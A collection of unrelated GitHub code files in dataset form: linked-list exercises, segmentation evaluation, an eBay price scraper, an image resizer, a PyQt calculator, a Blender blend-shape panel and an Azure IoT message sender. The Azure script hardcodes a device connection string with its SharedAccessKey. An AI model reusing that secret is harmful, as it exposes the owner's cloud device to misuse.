Node(9)\n head2.next.next = newNode\n newNode = Node(15)\n head1.next = newNode\n head2.next.next.next = newNode\n newNode = Node(30)\n head1.next.next = newNode\n\n ll4 = LinkedList()\n ll4.push(3)\n ll4.push(6)\n ll4.push(9)\n ll4.push(15)\n ll4.push(30)\n ll5 = LinkedList()\n ll5.push(10)\n\n ll5.head.next = ll4.head.next.next.next\n\n return ll1, ll2, ll3, palindrome, ll4, ll5\n\n\n\n","repo_name":"sakshamratra0106/PracticeProblems","sub_path":"DSAPracticeSheets/LinkedList/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"449659710","text":"import os\nimport random\nfrom collections import defaultdict\nfrom gc import get_objects\nfrom scipy.misc import imread\nfrom scipy.ndimage.morphology import distance_transform_edt\n\nimport numpy as np\nfrom skimage import measure as skimage_measure\n\nimport ReID_net.Constants as Constants\nimport ReID_net.Measures as Measures\nimport ReID_net.datasets.Util.Util as Util\nfrom ReID_net.Log import log\nfrom ReID_net.datasets.Util.Util import get_masked_image\n\nbefore = defaultdict(int)\nafter = defaultdict(int)\n\n\nclass InteractiveEval(object):\n def __init__(self, engine, mask_generation_fn):\n self.engine = engine\n self.data = engine.valid_data\n self.mask_generation_fn = mask_generation_fn\n self.max_clicks = engine.config.int(\"max_clicks\", 8)\n self.save_plot = engine.config.int(\"save_plot\", False)\n self.neg_row = []\n self.neg_col = []\n self.pos_row = []\n self.col_pos = []\n #Minimus distance between the clicks\n self.d_step = 10\n\n def create_distance_transform(self, label):\n u0 = Util.get_distance_transform(list(zip(self.neg_row, self.neg_col)), label)\n u1 = Util.get_distance_transform(list(zip(self.pos_row, self.col_pos)), label)\n\n # Add extra channels that represent the clicks\n u0 = u0[:, :, np.newaxis]\n click_channel = np.zeros_like(u0)\n click_channel[self.neg_row, self.neg_col] = 1\n u0 = np.concatenate([u0, click_channel.astype(np.float32)], axis=2)\n u1 = u1[:, :, np.newaxis]\n click_channel = np.zeros_like(u1)\n click_channel[self.pos_row, self.col_pos] = 1\n u1 = np.concatenate([u1, click_channel.astype(np.float32)], axis=2)\n\n return u0, u1\n\n def eval(self):\n input_list = self.data.read_inputfile_lists()\n input_list = list(zip(input_list[0], input_list[1]))\n measures = {}\n count = 0\n\n for im, an in input_list:\n im_path = im.split(\":\")[0]\n file_name = im_path.split(\"/\")[-1]\n file_name_without_ext = file_name.split(\".\")[0]\n an_path = an.split(\":\")[0]\n inst = int(an.split(\":\")[1])\n\n if os.path.exists(an_path):\n label_unmodified = imread(an_path)\n img_unmodified = imread(im_path)\n self.neg_row = []\n self.neg_col = []\n self.pos_row = []\n self.col_pos = []\n label = np.where(label_unmodified == inst, 1, 0)\n\n if len(np.where(label_unmodified == inst)[0]) < 2500:\n continue\n count += 1\n img, label = self.create_inputs(img_unmodified, label)\n mask = None\n click_added=True\n clicks = 1\n # Add a positive click when there are no previous masks\n self.add_clicks(mask, label)\n u0, u1 = self.create_distance_transform(label)\n while clicks <= self.max_clicks:\n if self.save_plot:\n file_name = file_name_without_ext + \"_instance_\" + repr(inst) + \"_clicks_\" + repr(clicks)\n self.save_image(file_name, img_unmodified, mask)\n #break and continue with the next instance, if a click could not be added\n if not click_added:\n break\n\n print(repr(count) + \"/\" + repr(len(input_list)) + \"-- Forwarding File:\" + \\\n im + \" Instance: \" + repr(inst) + \" Clicks:\" + repr(clicks), file=log.v5)\n\n for i in get_objects():\n before[type(i)] += 1\n\n mask, new_measures = self.mask_generation_fn(img, tag=im, label=label[:, :, np.newaxis],old_label=None,\n u0=u0, u1=u1)\n\n # leaked_things = [[x] for x in range(10)]\n # for i in get_objects():\n # after[type(i)] += 1\n # print [(k, after[k] - before[k]) for k in after if after[k] - before[k]]\n\n if clicks in measures:\n measures[clicks] += [new_measures]\n else:\n measures[clicks] = [new_measures]\n\n click_added = self.add_clicks(mask, label)\n u0, u1 = self.create_distance_transform(label)\n clicks += 1\n\n x_val = []\n y_val = []\n for click in measures:\n avg_measure = Measures.average_measures(measures[click])\n if Constants.IOU in avg_measure:\n x_val.append(click)\n y_val.append(float(avg_measure[Constants.IOU]))\n print(\"Average measure for \" + repr(click) + \" clicks: \" + repr(avg_measure), file=log.v5)\n\n import matplotlib.pyplot as plt\n plt.clf()\n plt.plot(x_val, y_val)\n plt.savefig(self.get_file_path(\"eval_plot\"))\n\n def add_clicks(self, mask, label):\n if mask is None:\n row, col = self.generate_click(label, 1)\n if row is None or col is None:\n print(\"The label is empty.\")\n else:\n self.pos_row.append(row)\n self.col_pos.append(col)\n return True\n else:\n # Find the misclassified pixels.\n I = np.logical_and(mask, label).astype(np.int)\n U = np.logical_or(mask, label).astype(np.int)\n misclassified = np.abs(U - I)\n # TODO: find false positives and false negatives, and add the clicks accordingly.\n # Label the misclassified clusters using connected components, and take the largest cluster.\n misclassified = skimage_measure.label(misclassified, background=0)\n clusters = np.setdiff1d(np.unique(misclassified), [0])\n if len(clusters) > 0:\n cluster_lengths = {len(np.where(misclassified == cluster)[0]): cluster for cluster in clusters}\n # Repeat until all possible clusters are sampled\n while len(list(cluster_lengths.keys())) > 0:\n cluster = cluster_lengths[max(cluster_lengths.keys())]\n # index = cluster_lengths.index(max(cluster_lengths))\n row, col = self.generate_click(misclassified, cluster)\n\n # If a click cannot be added to the current cluster, then move on to the next cluster.\n if row is not None and col is not None:\n # Check if the sampled pixel lies on the object\n if label[row, col] == 1:\n self.pos_row.append(row)\n self.col_pos.append(col)\n else:\n self.neg_row.append(row)\n self.neg_col.append(col)\n return True\n else:\n # Remove the current cluster, so that the next largest cluster can be sampled.\n del cluster_lengths[max(cluster_lengths.keys())]\n\n return False\n\n def generate_click(self, mask, inst):\n dt = np.where(mask == inst, 1, 0)\n # Set the current click points to 0, so that a reasonable new sample is obtained.\n dt[self.pos_row, self.col_pos] = 0\n dt[self.neg_row, self.neg_col] = 0\n \n #Set the border pixels of the image to 0, so that the click is centred on the required mask.\n dt[[0,dt.shape[0] - 1], : ] = 0\n dt[:, [0, dt.shape[1] - 1]] = 0\n\n dt = distance_transform_edt(dt)\n row = None\n col = None\n\n if np.max(dt) > 0:\n # get points that are farthest from the object boundary.\n #farthest_pts = np.where(dt > np.max(dt) / 2.0) \n farthest_pts = np.where(dt == np.max(dt))\n # sample from the list since there could be more that one such points.\n row, col = random.sample(list(zip(farthest_pts[0], farthest_pts[1])), 1)[0]\n\n #Calculate distance from the existing clicks, and ignore if it is within d_step distance.\n dt_pts = np.ones_like(dt)\n dt_pts[self.pos_row, self.col_pos] = 0\n dt_pts[self.neg_row, self.neg_col] = 0\n dt_pts = distance_transform_edt(dt_pts)\n\n if dt_pts[row, col] < self.d_step:\n row = None\n col = None\n\n return row, col\n\n def save_image(self, file_name, img, mask):\n if mask is None:\n mask = np.zeros_like(img[:, :, 0])\n\n masked_img = get_masked_image(img, mask)\n file_path = self.get_file_path(file_name)\n\n import matplotlib.pyplot as plt\n plt.clf()\n plt.imshow(masked_img)\n plt.scatter(x=self.neg_col, y=self.neg_row, c='r', s=40)\n plt.scatter(x=self.col_pos, y=self.pos_row, c='g', s=40)\n plt.savefig(file_path)\n plt.close()\n\n def get_file_path(self, file_name):\n main_folder = \"forwarded/\" + self.engine.model + \"/valid/plots/\"\n if not os.path.exists(main_folder):\n os.makedirs(main_folder)\n file_path = main_folder + file_name + \".png\"\n return file_path\n\n @staticmethod\n def create_inputs(img, label):\n return img / 255.0, label\n\n\n\n\n\n\n","repo_name":"JonathonLuiten/PReMVOS","sub_path":"code/ReID_net/datasets/InteractiveEval.py","file_name":"InteractiveEval.py","file_ext":"py","file_size_in_byte":8275,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"72"} +{"seq_id":"43905041255","text":"# -*- coding: utf-8 -*-\n\nimport scrapy\n\nimport re\nimport datetime\nimport json\nimport pprint\nimport copy\n\nfrom scrapy.selector import Selector\nfrom scrapy import Request, signals\nfrom scrapy.xlib.pydispatch import dispatcher\n\npp = pprint.PrettyPrinter()\n\nclass EfinderSpider(scrapy.Spider):\n name = 'efinder'\n allowed_domains = ['ebay.com']\n start_urls = ['https://ebay.com/']\n\n def start_requests(self):\n base_url = \"https://www.ebay.com/sch/i.html\"\n self.keyword = \"Jordan 4 Retro Bred 2019 receipt\"\n keyword_sanitized = self.keyword.replace(\" \", \"+\")\n self.shoe_size = \"9.5\"\n shoe_size_sanitized = self.shoe_size.replace(\".\", \"%252E\")\n self.asks = {}\n self.asks[self.shoe_size] = {\"ask\": []}\n\n # defaults to men's; US size; condition new_with_box (LH_ItemCondition=1000)\n query_url = \"{}?_fsrp=1&_nkw={}&_sacat=0&_from=R40&rt=nc&_oaa=1&US%2520Shoe%2520Size%2520%2528Men%2527s%2529={}&_oaa=1&_dcat=15709&LH_ItemCondition=1000\".format(base_url, keyword_sanitized, shoe_size_sanitized)\n print(query_url)\n yield Request(query_url, headers={'User-Agent':'Mozilla/5.0'}, callback=self.parse)\n\n def parse(self, response):\n selector = Selector(response)\n results = selector.xpath(\"//li[contains(@id, 'srp-river-results-')]\")\n for index, item in enumerate(results):\n # . for relative xpath\n title = item.xpath(\".//h3[contains(@class, 's-item__title')]/text()\").get(default=\"\")\n if not title:\n # fallback to title with \n title = item.xpath(\".//h3[contains(@class, 's-item__title')]/span\").get(default=\"\")\n if not title:\n print(\"title not found {}\".format(item.get()))\n continue\n\n px_item = item.xpath(\".//span[contains(@class, 's-item__price')]\")\n px_string = px_item.get()\n high_px = 0.0\n low_px = 0.0\n if not \" to \" in px_string:\n # $123\n try:\n dollar_px = item.xpath(\".//span[contains(@class, 's-item__price')]/text()\").get(default=\"\").strip('$')\n low_px = float(dollar_px)\n high_px = low_px\n except ValueError as e:\n print(\"px not found {} \\n {}\".format(e, item.get()))\n continue\n else:\n # $123 to $234\n match = re.match(r\"]+>\\$([0-9.]+)[^\\$]+\\$([0-9.]+)\", px_string)\n if not match:\n print(\"px not found {}\".format(item.get()))\n continue\n else:\n low_px = float(match.group(1))\n high_px = float(match.group(2))\n\n if high_px == 0.0 or low_px == 0.0:\n print(\"px not found {}\".format(item.get()))\n continue\n\n link = item.xpath(\".//a[contains(@class, 's-item__link')]/@href\").get(default=\"\")\n if not link:\n print(\"link not found {}\".format(item.get()))\n continue\n # print(title)\n # print(low_px)\n # print(high_px)\n # print(link)\n\n yield Request(link, headers={'User-Agent':'Mozilla/5.0'}, callback=lambda r, link=link, low_px=low_px, high_px=high_px: self.extract_prices(r, link, low_px, high_px))\n return\n\n def extract_prices(self, response, url, low_px, high_px):\n response_text = response.body.decode(\"utf-8\")\n idx = response_text.find('$rwidgets')\n selectid_sizes = {}\n size_prices = {}\n\n if idx > -1:\n next_newline = response_text.find('\\n', idx)\n if next_newline > -1:\n extracted_line = response_text[idx:next_newline]\n\n # (select-id, size-value) mapping line\n value_id_groups = re.findall(r\"\\\"valueId\\\":([0-9]+)\", extracted_line)\n value_name_groups = re.findall(r\"\\\"valueName\\\":\\\"([^\\\"]+)\\\"\", extracted_line)\n\n if len(value_id_groups) != len(value_name_groups):\n print(\"value_id and value_names length mismatch:\\n{}\\n{}\\n{}\".format(extracted_line, value_id_groups, value_name_groups))\n for i in range(len(value_id_groups)):\n selectid_sizes[value_id_groups[i]] = value_name_groups[i]\n\n # if len(selectid_sizes.keys()) == 0:\n # print(\"did not populate select-id map: {}\".format(selectid_sizes))\n\n pprinted = pp.pformat(extracted_line)\n for line in pprinted.split('\\n'):\n if \"\\\"Size\\\"\" in line:\n # (select-id, price) mapping line\n match = re.search(r\"{\\\"Size\\\":([0-9]+)}\", line)\n if match:\n select_id = str(match.group(1))\n if not select_id in selectid_sizes:\n print(\"select-id {} not in mapping\".format(select_id))\n continue\n price_match = re.search(r\"\\'\\$([0-9.]+)\\\"\", line)\n if price_match:\n size_prices[selectid_sizes[select_id]] = float(price_match.group(1))\n else:\n print(\"no price found in line:\\n{}\".format(line))\n\n if len(size_prices.keys()) == 0:\n # we failed to parse, try a different format\n size_groups = re.findall(r\"Shoe Size [^:]+:([0-9]+)\", extracted_line)\n price_groups = re.findall(r\"\\\"priceAmountValue\\\":{\\\"value\\\":([0-9.]+),\\\"currency\\\":\\\"[^:]+\\\"}\", extracted_line)\n if len(size_groups) == len(price_groups):\n for i in range(len(size_groups)):\n select_id = size_groups[i]\n if str(select_id) not in selectid_sizes:\n print(\"select-id {} not in mapping\".format(select_id))\n continue\n size_prices[selectid_sizes[select_id]] = float(price_groups[i])\n else:\n print(\"Sizes and prices length mismatch:\\n{}\\n{}\".format(size_groups, price_groups))\n if len(size_prices) == 0:\n if low_px != high_px:\n print(\"failed to find out price for {}. not added to book.\".format(url))\n else:\n # we failed to parse again, assume the listed price and the listed size match\n print(\"failed to assign per-size prices: {}, assume listed price and listed size match\".format(url))\n self.populate_book(low_px, url)\n else:\n if self.shoe_size in size_prices:\n self.populate_book(size_prices[self.shoe_size], url)\n else:\n print(\"cannot find size in size_prices map, assume size not available: {}. not added to book\".format(url))\n\n\n\n def populate_book(self, low_px, link):\n half = self.asks[self.shoe_size][\"ask\"]\n level_idx = 0\n while level_idx < len(half):\n if low_px == half[level_idx][\"px\"]:\n half[level_idx][\"orders\"].append({\"link\": link})\n half[level_idx][\"size\"] += 1\n break\n elif low_px < half[level_idx][\"px\"]:\n half.insert(level_idx, {\n \"px\": low_px,\n \"size\": 1,\n \"orders\": [{\n \"link\": link\n }]\n })\n break\n level_idx += 1\n\n if level_idx == len(half):\n half.append({\n \"px\": low_px,\n \"size\": 1,\n \"orders\": [{\n \"link\": link\n }]\n })\n\n def closed(self, reason):\n if len(self.asks) > 0:\n with open(\"{}.{}.{}.txt\".format(self.keyword, self.shoe_size, datetime.date.today().strftime(\"%Y%m%d\")), \"w\") as wfile:\n wfile.write(json.dumps({self.keyword: self.asks}, indent=4, sort_keys=True))\n return\n","repo_name":"zhehaowang/sneaky","sub_path":"src/legacy/ebay_scrapy/exit_finder/spiders/efinder.py","file_name":"efinder.py","file_ext":"py","file_size_in_byte":8317,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"4846184771","text":"from PIL import Image as PilImage\r\nimport glob, os\r\nimport re\r\ndef getListImage(path):\r\n \"\"\"Đối sô là một đường dẫn thư mục chứa file ảnh.\r\n Trả về một danh sách đường dẫn các file ảnh\"\"\" \r\n filePaths = glob.glob(path)\r\n formatImage = [\".png\", \".jpg\", \".jpeg\", \".gif\", \".bmp\"]\r\n listOfImages = []\r\n for item in formatImage:\r\n for filePath in filePaths:\r\n if item in filePath:\r\n listOfImages.append(filePath)\r\n return listOfImages\r\n \r\ndef getNameImage(imagePath):\r\n \"\"\"Đối số là đường dẫn ảnh.\r\n Trả về tên cùng định dạng từ đường dẫn ảnh\"\"\"\r\n regex = r'[^\\\\:*?\"<>|\\r\\n]+$'\r\n name = re.search(regex, imagePath).group(0)\r\n return name\r\n\r\ndef makeName(imagePath):\r\n \"\"\"Đối số là đường dẫn ảnh.\r\n Trả về tên cùng định dạng png\"\"\"\r\n name = getNameImage(imagePath)\r\n for i in range(len(name)):\r\n if name[i] == \".\" :\r\n makeName = name[:i] + \"Convert\" + \".png\"\r\n return makeName\r\n\r\ndef convertSizeImage(imagePath, heightConvert = 512):\r\n \"\"\"Đối số là một đường dẫn ảnh. heightConvert = 512px là mặc định.\r\n Nếu height > 512px, thu bé height về 512px, trả về 1.\r\n Nếu ảnh có định dạng khác png, convert ảnh về png.\r\n Nếu height ảnh < 512px, trả về 0.\r\n \"\"\" \r\n image = PilImage.open(imagePath).convert(\"RGB\")\r\n width, height = image.size\r\n if height < heightConvert:\r\n if \".png\" in getNameImage(imagePath):\r\n print(getNameImage(imagePath) + \" SIZE \" + str(image.size))\r\n else:\r\n image.save(makeName(imagePath))\r\n print(getNameImage(imagePath) + \" SIZE \" + str(image.size) + \" --> \" + makeName(imagePath))\r\n return 0\r\n scale = heightConvert/height\r\n newWidth = int(width*scale)\r\n newSizeImage = (newWidth, heightConvert)\r\n newImage = image.resize(newSizeImage)\r\n newImage.save(makeName(imagePath))\r\n print(\"CONVERT \" + getNameImage(imagePath) + \" \" + str(image.size) + \" --> \" + str(newImage.size))\r\n return 1\r\n\r\n\r\nPATH = \"/*.*\"\r\nmyList = getListImage(PATH)\r\nfor item in myList:\r\n convertSizeImage(item)\r\n","repo_name":"blizzard090/std_python","sub_path":"convertImage_512px.py","file_name":"convertImage_512px.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13536447749","text":"import sys\nfrom calculator_ui import *\n \nclass Calculator(QtGui.QDialog):\n\n\tdef __init__(self, parent=None):\n\t\tQtGui.QWidget.__init__(self, parent)\n\t\tself.ui = Ui_Calculator()\n\t\tself.ui.setupUi(self)\n\t\tQtCore.QObject.connect(self.ui.ButtonCalculate, QtCore.SIGNAL('clicked()'),self.calculateVal)\n\t\t\n\tdef calculateVal(self):\n\t\tfirstVal = self.getValue(self.ui.lineFirstVal)\t\n\t\tsecondVal = self.getValue(self.ui.lineSecondVal)\n\t\t#self.ui.comboOperator.currentIndex()\t\n\t\tif( len(self.ui.comboOperator.currentText()) != 0):\n\t\t\toperator = self.ui.comboOperator.currentText()\n\t\t\tresult = self.getResult(firstVal, secondVal, operator)\t\n\t\telse:\n\t\t\tresult = 'Invalid Operator'\t\n\t\tself.ui.labelResult.setText(result)\t\n\t\t\n\tdef getValue(self, lineValue):\n\t\tif( len(lineValue.text()) != 0):\n\t\t\treturn int(lineValue.text())\n\t\telse:\n\t\t\treturn 0\n\t\n\tdef getResult(self, firstVal, secondVal, operator):\n\t\tif(operator == '+'):\n\t\t\treturn str( firstVal + secondVal )\n\t\tif(operator == '-'):\n\t\t\treturn str( firstVal - secondVal )\n\t\tif(operator == '/'):\n\t\t\treturn str( firstVal / secondVal )\n\t\tif(operator == '*'):\n\t\t\treturn str( firstVal * secondVal )\t\n\t\nif __name__ == \"__main__\":\n\tapp = QtGui.QApplication(sys.argv)\n\tcalc = Calculator()\n\tcalc.show()\n\tsys.exit(app.exec_())","repo_name":"maq89/python","sub_path":"pyqt/calculator/calculator.pyw","file_name":"calculator.pyw","file_ext":"pyw","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44588495114","text":"#Script Py para enviar un mensaje a Azure IoT (basado en post de un blog)\n#ailr16 2022\n\nimport random \nimport time\nfrom azure.iot.device import IoTHubDeviceClient, Message\n\nCONNECTION_STRING = \"HostName=monitoreoPolucion.azure-devices.net;DeviceId=m1;SharedAccessKey=oH7JV1wKJ8QDnxJQFLJU5c8tlEDuY/Sln2bVXH8YqAU=\" \nMSG_SND = '{{\"temperature\", {temperature},\"humidity\", {humidity}}}'\n\nwhile True:\n humidity = 16\n temperature = 32\n def iothub_client_init(): \n client = IoTHubDeviceClient.create_from_connection_string(CONNECTION_STRING) \n return client \n def iothub_client_telemetry_sample_run(): \n try: \n client = iothub_client_init() \n print ( \"Sending data to IoT Hub, press Ctrl-C to exit\" ) \n while True: \n msg_txt_formatted = MSG_SND.format(temperature=temperature, humidity=humidity) \n message = Message(msg_txt_formatted) \n print( \"Sending message: {}\".format(message) ) \n client.send_message(message) \n print ( \"Message successfully sent\" ) \n time.sleep(3) \n except KeyboardInterrupt: \n print ( \"IoTHubClient stopped\" ) \n if __name__ == '__main__': \n print ( \"Press Ctrl-C to exit\" ) \n iothub_client_telemetry_sample_run()\n","repo_name":"ailr16/monitoreoPolucion","sub_path":"scripts/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"16487504268","text":"import datetime\n\nSW_VERSION = \"1.3.1\"\n\nPLATFORMS = [\"sensor\", \"geo_location\"]\n\nDOMAIN = \"blitzortung\"\nDATA_UNSUBSCRIBE = \"unsubscribe\"\nATTR_LIGHTNING_DISTANCE = \"distance\"\nATTR_LIGHTNING_AZIMUTH = \"azimuth\"\nATTR_LIGHTNING_COUNTER = \"counter\"\n\nSERVER_STATS = \"server_stats\"\n\nBASE_URL_TEMPLATE = (\n \"http://data{data_host_nr}.blitzortung.org/Data/Protected/last_strikes.php\"\n)\n\nCONF_RADIUS = \"radius\"\nCONF_IDLE_RESET_TIMEOUT = \"idle_reset_timeout\"\nCONF_TIME_WINDOW = \"time_window\"\nCONF_MAX_TRACKED_LIGHTNINGS = \"max_tracked_lightnings\"\n\nDEFAULT_IDLE_RESET_TIMEOUT = 120\nDEFAULT_RADIUS = 100\nDEFAULT_MAX_TRACKED_LIGHTNINGS = 100\nDEFAULT_TIME_WINDOW = 120\nDEFAULT_UPDATE_INTERVAL = datetime.timedelta(seconds=60)\n\nATTR_LAT = \"lat\"\nATTR_LON = \"lon\"\nATTRIBUTION = \"Data provided by blitzortung.org\"\nATTR_EXTERNAL_ID = \"external_id\"\nATTR_PUBLICATION_DATE = \"publication_date\"\n","repo_name":"BeardedTinker/Home-Assistant_Config","sub_path":"custom_components/blitzortung/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":336,"dataset":"github-code","pt":"72"} +{"seq_id":"43177810698","text":"import bpy\nfrom bpy.props import FloatProperty, EnumProperty, BoolProperty\nfrom BMesh import BMesh\nfrom collections import defaultdict\nimport numpy as np\n\ntarget_names = ['Face', 'Face.True', 'Face.Pred', 'head.true', 'head.pred']\n\nblendshape_keys = {}\n\ndef objgen(obj_names=[], needs_shapekeys=False):\n namelist = obj_names if len(obj_names) else target_names\n for obj_name in namelist:\n if obj_name not in bpy.data.objects.keys():\n print(f\"[!] {obj_name} failed to load; skipping\"); continue\n obj = bpy.data.objects.get(obj_name)\n if needs_shapekeys and not obj.data.shape_keys:\n print(f\"[!] {obj_name} has no shape keys; skipping\"); continue\n yield obj_name, obj\n\ncurr_key = \"\"\nckeyrefs = []\ndef update_blend_shape(self, context):\n global curr_key, ckeyrefs\n blendshape_value = self.blendshape_value\n blendshape_key = self.blendshape_key\n if curr_key != blendshape_key:\n for objname, obj in objgen():\n if obj.data.shape_keys:\n blendshape_keys[objname] = {key.name: key for key in obj.data.shape_keys.key_blocks}\n ckeyrefs = []\n for obj_name, keys in blendshape_keys.items():\n obj = bpy.data.objects.get(obj_name)\n vcols = obj.data.vertex_colors\n for col in vcols.values():\n col.active = False\n for keyname, keyref in keys.items():\n # if obj_name == 'Face.002':\n # print(keyname, blendshape_key, keyname in blendshape_key, blendshape_key in keyname)\n if keyname.replace(\"-Pred\", \"\") == blendshape_key or blendshape_key.replace(\"-Pred\", \"\") == keyname: \n ckeyrefs += [keyref]\n keyref.value = blendshape_value\n if keyname in vcols.keys(): \n vcols.get(keyname).active = 1\n else: \n keyref.value = 0\n curr_key = blendshape_key\n\n for keyref in ckeyrefs:\n keyref.value = blendshape_value\n \ndef get_shape_keys(self, context):\n shape_keys = []\n true_count = defaultdict(lambda: 0)\n pred_count = defaultdict(lambda: 0)\n\n for obj_name, keys in blendshape_keys.items():\n for key in keys.keys():\n if key == \"Basis\":\n continue\n elif key.endswith(\"-Pred\"):\n pred_count[key[:-5]] += 1\n else:\n true_count[key] += 1\n if key not in shape_keys:\n shape_keys += [key]\n tc, pc = true_count, pred_count\n return [(key, f\"{key} ({tc[key]}T/{pc[key]}P)\", \"\") for key in shape_keys if (tc[key] + pc[key]) > 1]\n\n##########\n\nclass SelectDeformedOperator(bpy.types.Operator):\n bl_idname = \"object.select_deformed\"\n bl_label = \"Select Deformed Vertices\"\n\n @classmethod\n def poll(cls, context):\n return context.mode == 'OBJECT' and context.object is not None\n\n def execute(self, context):\n obj = context.object\n if obj.type != 'MESH' or obj.data.shape_keys is None:\n self.report({'WARNING'}, \"Active object is not a mesh or has no shape keys\")\n return {'CANCELLED'}\n\n sk = obj.data.shape_keys\n kb = sk.key_blocks.get(context.scene.blendshape_key)\n if kb is None:\n self.report({'WARNING'}, \"No shape key found with the specified name\")\n return {'CANCELLED'}\n\n threshold = context.scene.deform_threshold\n\n # Switch to edit mode to be able to select vertices\n bpy.ops.object.mode_set(mode='EDIT')\n\n # Deselect all vertices\n bpy.ops.mesh.select_all(action='DESELECT')\n\n # Switch back to object mode to be able to access vertices data\n bpy.ops.object.mode_set(mode='OBJECT')\n\n # Select vertices that have been deformed by the shape key\n for i, vertex in enumerate(obj.data.vertices):\n deform = kb.data[i].co - vertex.co\n if deform.length > threshold:\n vertex.select = True\n\n # Switch back to edit mode to show the selection\n bpy.ops.object.mode_set(mode='EDIT')\n\n return {'FINISHED'}\n\n##########\n\nclass BlendShapePanel(bpy.types.Panel):\n bl_label = \"Blend Shape Control\"\n bl_idname = \"OBJECT_PT_blend_shape_control\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'UI'\n bl_category = 'Blend Shapes'\n\n @classmethod\n def poll(cls, context):\n return context.mode in {'OBJECT', 'PAINT_VERTEX'}\n\n def draw(self, context):\n layout = self.layout\n scene = context.scene\n layout.prop(scene, \"blendshape_key\", text=\"Shape Key\")\n layout.prop(scene, \"blendshape_value\", slider=True)\n layout.prop(scene, \"deform_threshold\", text=\"Deformation Threshold\")\n layout.operator(\"object.select_deformed\", text=\"Select Deformed Vertices\")\n\ndef register(obj_names):\n # Pre-compute the shape keys and store their references\n global blendshape_keys, target_names\n target_names = obj_names\n blendshape_keys = {}\n bpy.utils.register_class(BlendShapePanel)\n bpy.types.Scene.blendshape_value = FloatProperty(\n name=\"Blend Shape Value\",\n description=\"Control the blend shape value\",\n min=0, max=1, default=0,\n update=update_blend_shape,\n )\n bpy.types.Scene.blendshape_key = EnumProperty(\n name=\"Blend Shape Key\",\n description=\"Select the blend shape key to control\",\n items=get_shape_keys,\n )\n bpy.types.Scene.deform_threshold = FloatProperty(\n name=\"Deformation Threshold\",\n description=\"Vertices with deformation above this threshold will be selected\",\n min=0, max=1, default=0.1,\n )\n for objname, obj in objgen():\n if obj.data.shape_keys:\n blendshape_keys[objname] = {key.name: key for key in obj.data.shape_keys.key_blocks}\n bpy.utils.register_class(SelectDeformedOperator)\n\ndef unregister():\n global handlers\n bpy.utils.unregister_class(BlendShapePanel)\n bpy.utils.unregister_class(SelectDeformedOperator)\n del bpy.types.Scene.blendshape_value\n del bpy.types.Scene.blendshape_key\n\ndef rename_shape_keys(obj_name, rename_dict=[], substring_dict={\"_L\":\"Left\", \"_R\":\"Right\"}):\n # # Example usage\n # target_mesh_name = \"YourMeshObjectName\"\n # rename_shape_keys(target_mesh_name, { \"browDown_L\": \"browDownLeft\", \"browDown_R\": \"browDownRight\" })\n for objname, obj in objgen([obj_name], needs_shapekeys=True):\n for key_block in obj.data.shape_keys.key_blocks:\n if key_block.name in rename_dict:\n key_block.name = rename_dict[key_block.name]\n for s1, s2 in substring_dict.items():\n if s1 in key_block.name:\n key_block.name = key_block.name.replace(s1, s2)\n\ndef unregister_class_by_name(class_name):\n cls = getattr(bpy.types, class_name, None)\n if cls: bpy.utils.unregister_class(cls)\n else: print(f\"Class {class_name} not found.\")\n\nif __name__ == \"__main__\":\n register()","repo_name":"VKudlay/LTV-MeshPoseTransfer","sub_path":"BlendshapeSlider.py","file_name":"BlendshapeSlider.py","file_ext":"py","file_size_in_byte":7035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16216088644","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\n# ----------- Start of helper function -----------\n# This fucntion plot cluster and overly another set of values (such as libraseq score) on the cluster\ndef overlay(cluster_df,\n x_col_name,\n y_col_name,\n overlay_df,\n overlay_val_col_name,\n cluster_ID_col_name ='Unnamed: 0',\n overlay_ID_col_name='BARCODE'):\n fig, ax = plt.subplots(figsize=(6, 4), dpi=150)\n x_vals = cluster_df[x_col_name]\n y_vals = cluster_df[y_col_name]\n ax.scatter(x_vals, y_vals, marker=\".\", color=\"0.9\")\n\n overlay_IDs = overlay_df[overlay_ID_col_name]\n cluster_mask = (cluster_df[cluster_ID_col_name].isin(overlay_IDs))\n overlay_in_cluster_df = cluster_df[cluster_mask]\n \n overlay_mask = (overlay_df[overlay_ID_col_name].isin(overlay_in_cluster_df[cluster_ID_col_name]))\n vals_to_plot_df = overlay_df[overlay_mask]\n\n vals = list(vals_to_plot_df[overlay_val_col_name])\n norm = mpl.colors.Normalize(vmin=sorted(vals)[0], vmax=sorted(vals)[-1])\n cmap = mpl.cm.ScalarMappable(norm=norm, cmap=mpl.cm.Blues)\n cmap.set_array([])\n\n cluster_dim1 = list(overlay_in_cluster_df[x_col_name])\n cluster_dim2 = list(overlay_in_cluster_df[y_col_name])\n\n for i in range(len(cluster_dim1)):\n ax.scatter(cluster_dim1[i], cluster_dim2[i], marker=\".\", color=cmap.to_rgba(vals[i]), alpha=0.6)\n\n ax.set_title(overlay_val_col_name + \" libraseq score on RNA seq clusters\")\n ax.set_xlabel(x_col_name)\n ax.set_ylabel(y_col_name)\n fig.colorbar(cmap)\n return(fig, ax)\n \n# ----------- End of helper function -----------\n\n\ntsne_df = pd.read_csv(\"reduction_tsne.csv\")\n\n# contruct libraseq score dataframe for ech antigen\nlibraScore_file = \"/home/libraseq/wennie/3602/AG_libraseq_scores.tab\"\nlibraScore_df = pd.read_csv(libraScore_file, sep=\"\\t\")\n\nlibraScore_dic[\"HIV_BG505_N332T_df\"] = libraScore_df.loc[:,(\"BARCODE\",\"HIV_BG505_N332T\")]\n\nHIV_BG505_N332T_fig, HIV_BG505_N332T_ax 